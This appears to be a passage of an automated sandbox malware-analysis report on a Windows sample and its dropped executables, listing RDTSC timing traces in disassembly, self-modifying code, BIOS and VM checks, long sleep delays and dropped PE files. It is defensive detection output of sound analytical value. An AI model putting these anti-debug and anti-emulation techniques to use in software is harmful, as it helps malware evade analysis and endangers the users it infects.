Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B18B1F second address: B18B2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B18B2E second address: B18B33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1A357 second address: B1A39D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 nop 0x00000006 mov si, 5DBDh 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F5A95268F18h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 mov edi, dword ptr [ebp+122D3C14h] 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f sub dword ptr [ebp+12477FE2h], ebx 0x00000035 pop edi 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 jo 00007F5A95268F18h 0x0000003f push esi 0x00000040 pop esi 0x00000041 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1D3FC second address: B1D402 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1D402 second address: B1D406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1D406 second address: B1D40A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1D40A second address: B1D42C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d mov dword ptr [ebp+122D1DB5h], edx 0x00000013 push 00000000h 0x00000015 mov bx, 7C0Dh 0x00000019 xchg eax, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push esi 0x0000001e pop esi 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1D42C second address: B1D45C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F5A952DFC7Eh 0x00000012 jmp 00007F5A952DFC78h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1D45C second address: B1D461 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1E4EB second address: B1E4EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1E4EF second address: B1E584 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5A95268F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e movzx edi, cx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F5A95268F18h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov ebx, 3B4FB165h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 call 00007F5A95268F18h 0x0000003c pop ebx 0x0000003d mov dword ptr [esp+04h], ebx 0x00000041 add dword ptr [esp+04h], 0000001Ah 0x00000049 inc ebx 0x0000004a push ebx 0x0000004b ret 0x0000004c pop ebx 0x0000004d ret 0x0000004e xor di, 2016h 0x00000053 sub dword ptr [ebp+122D1E83h], ebx 0x00000059 mov bx, 9440h 0x0000005d xchg eax, esi 0x0000005e pushad 0x0000005f jmp 00007F5A95268F28h 0x00000064 push eax 0x00000065 jns 00007F5A95268F16h 0x0000006b pop eax 0x0000006c popad 0x0000006d push eax 0x0000006e push eax 0x0000006f push edx 0x00000070 push esi 0x00000071 jns 00007F5A95268F16h 0x00000077 pop esi 0x00000078 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1E584 second address: B1E593 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A952DFC6Bh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1E593 second address: B1E597 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1AC20 second address: B1AC24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1D699 second address: B1D69D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1E751 second address: B1E75D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnp 00007F5A952DFC66h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1E75D second address: B1E784 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5A95268F24h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1F7B5 second address: B1F7BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1F7BB second address: B1F7BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1F7BF second address: B1F7D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F5A952DFC6Ch 0x00000011 je 00007F5A952DFC66h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B218C0 second address: B218C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B218C4 second address: B218E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5A952DFC77h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B218E3 second address: B218E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B218E7 second address: B21923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jp 00007F5A952DFC6Ah 0x0000000e nop 0x0000000f mov ebx, dword ptr [ebp+122D2A11h] 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+122D2669h], ebx 0x0000001d push 00000000h 0x0000001f xor bl, 00000009h 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 push ecx 0x00000026 jmp 00007F5A952DFC71h 0x0000002b pop ecx 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B21923 second address: B21947 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F5A95268F23h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jnl 00007F5A95268F28h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B21947 second address: B2194B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B21AA5 second address: B21B3D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5A95268F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp], eax 0x0000000e push dword ptr fs:[00000000h] 0x00000015 sub ebx, 0D97FFBFh 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push ebp 0x00000025 call 00007F5A95268F18h 0x0000002a pop ebp 0x0000002b mov dword ptr [esp+04h], ebp 0x0000002f add dword ptr [esp+04h], 00000019h 0x00000037 inc ebp 0x00000038 push ebp 0x00000039 ret 0x0000003a pop ebp 0x0000003b ret 0x0000003c mov bx, cx 0x0000003f mov ebx, esi 0x00000041 mov eax, dword ptr [ebp+122D1245h] 0x00000047 push 00000000h 0x00000049 push ecx 0x0000004a call 00007F5A95268F18h 0x0000004f pop ecx 0x00000050 mov dword ptr [esp+04h], ecx 0x00000054 add dword ptr [esp+04h], 00000019h 0x0000005c inc ecx 0x0000005d push ecx 0x0000005e ret 0x0000005f pop ecx 0x00000060 ret 0x00000061 je 00007F5A95268F1Ch 0x00000067 sub dword ptr [ebp+122D20CFh], ecx 0x0000006d push FFFFFFFFh 0x0000006f jno 00007F5A95268F1Ch 0x00000075 push eax 0x00000076 jg 00007F5A95268F24h 0x0000007c push eax 0x0000007d push edx 0x0000007e jne 00007F5A95268F16h 0x00000084 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B23B19 second address: B23B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B23B20 second address: B23B26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B22BD0 second address: B22BDE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5A952DFC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B23B26 second address: B23B90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F5A95268F26h 0x0000000e nop 0x0000000f mov bx, dx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F5A95268F18h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e push 00000000h 0x00000030 mov edi, dword ptr [ebp+122D2FC9h] 0x00000036 xchg eax, esi 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F5A95268F27h 0x0000003f rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B22BDE second address: B22BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B23B90 second address: B23BAD instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5A95268F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jc 00007F5A95268F16h 0x00000011 pop ecx 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jg 00007F5A95268F16h 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B25B17 second address: B25B1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B26A5E second address: B26AE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b je 00007F5A95268F1Ch 0x00000011 sbb ebx, 7007B301h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F5A95268F18h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000016h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 jmp 00007F5A95268F27h 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ecx 0x0000003d call 00007F5A95268F18h 0x00000042 pop ecx 0x00000043 mov dword ptr [esp+04h], ecx 0x00000047 add dword ptr [esp+04h], 00000015h 0x0000004f inc ecx 0x00000050 push ecx 0x00000051 ret 0x00000052 pop ecx 0x00000053 ret 0x00000054 jmp 00007F5A95268F1Ch 0x00000059 xchg eax, esi 0x0000005a push ecx 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F5A95268F1Eh 0x00000062 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B26AE9 second address: B26B0C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5A952DFC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5A952DFC75h 0x00000013 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Special instruction interceptor: First address: 21DAB1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Special instruction interceptor: First address: 21DBA4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Special instruction interceptor: First address: 3CA94D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Special instruction interceptor: First address: 3CA67E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Special instruction interceptor: First address: 21B442 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	Special instruction interceptor: First address: 4509D9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Special instruction interceptor: First address: 96EF01 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	Special instruction interceptor: First address: B315CB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CBEF01 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: E815CB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Special instruction interceptor: First address: 1E98E9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Special instruction interceptor: First address: 399CC2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Special instruction interceptor: First address: 1E7482 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Special instruction interceptor: First address: 1E9804 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Special instruction interceptor: First address: 3A89C4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Special instruction interceptor: First address: 423585 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe

Code function: 3_2_05130DC6 rdtsc

3_2_05130DC6

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1293	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 383	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1293	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1274	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1308	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1257	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4721
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7800

Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-Q515F.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\is-4HD48.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-Q515F.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\uxtheme_2.drv (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\is-0PAAE.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-7HJN1.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-7HJN1.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-7HJN1.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-Q515F.tmp\_isetup\_shfoldr.dll	Jump to dropped file

Source: C:\Users\user\Desktop\oaBqkImU6R.exe TID: 8016	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4536	Thread sleep count: 55 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4536	Thread sleep time: -110055s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1580	Thread sleep count: 1293 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1580	Thread sleep time: -2587293s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3520	Thread sleep count: 383 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3520	Thread sleep time: -11490000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7644	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2680	Thread sleep count: 1293 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2680	Thread sleep time: -2587293s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4532	Thread sleep count: 1274 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4532	Thread sleep time: -2549274s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4820	Thread sleep count: 1308 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4820	Thread sleep time: -2617308s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3536	Thread sleep count: 1257 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3536	Thread sleep time: -2515257s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe TID: 5968	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 604	Thread sleep count: 4721 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3216	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6948	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\764661\Macromedia.com TID: 2336	Thread sleep count: 42 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3124	Thread sleep count: 7800 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4356	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7136	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809

Source: C:\Users\user\Desktop\oaBqkImU6R.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\36469\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\36469	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696503903~
Source: oaBqkImU6R.exe, 00000001.00000003.1458983995.0000000005DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696503903
